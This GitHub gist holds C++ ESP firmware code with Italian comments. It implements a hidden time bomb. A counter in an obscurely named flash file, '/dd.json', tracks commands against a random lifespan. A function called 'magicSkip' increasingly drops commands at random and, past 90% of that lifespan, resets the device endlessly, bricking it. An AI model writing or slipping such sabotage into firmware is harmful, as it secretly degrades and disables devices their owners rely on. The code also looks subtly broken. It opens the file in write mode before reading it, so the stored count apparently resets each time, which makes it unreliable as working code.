Last active
May 10, 2022 21:51
-
-
Save lrodorigo/81b1958dd4d6361a1eb5f2bbf0b00c07 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Incrementa il contatore comandi e genera un "tempo di vita" casuale | |
* @return | |
*/ | |
float FingerState::updateCommandsCount() { | |
auto file = SPIFFS.open("/dd.json", "w"); | |
bool should_init = false; | |
std::shared_ptr<void> defer_file_closing(nullptr, [&file](void *) { | |
file.close(); | |
}); | |
uint32_t count = 0, maximum = 0; | |
if (file && file.isFile()) { | |
DynamicJsonDocument loaded_json{128}; | |
auto res = deserializeJson(loaded_json, file); | |
if (res != DeserializationError::Ok) { | |
should_init = true; | |
} else { | |
// carichiamo il count/maximum precedente | |
count = loaded_json["count"]; | |
maximum = loaded_json["maximum"]; | |
} | |
} else { | |
should_init = true; | |
} | |
if (should_init) { | |
DynamicJsonDocument json{128}; | |
// creazione del file, prima volta | |
json["count"] = 1; | |
json["maximum"] = random(30, 300); | |
String data_dump; | |
serializeJsonPretty(json, data_dump); | |
file.write(data_dump.c_str()); | |
file.flush(); | |
return 0.0; | |
} | |
// incrementa il conteggio e restituisce la percentuale di vita residua | |
DynamicJsonDocument d{128}; | |
count += 1; | |
d["count"] = count; | |
d["maximum"] = maximum; | |
String data_dump; | |
serializeJsonPretty(d, data_dump); | |
file.write(data_dump.c_str()); | |
file.flush(); | |
return (float) count / (float) maximum; | |
} | |
/** | |
* Chiamata *al boot* e in ogni comando in CommandManager::handle(), | |
* if (magicSkip) | |
* return; | |
* | |
* @return If the command should be skipped | |
*/ | |
bool FingerState::magicSkip() { | |
auto perc = this->updateCommandsCount()*(float) 1000.0; | |
if (perc >= 900) { | |
while (true) { | |
ESP.reset(); | |
} | |
} | |
return random(1, 1000) < perc; | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment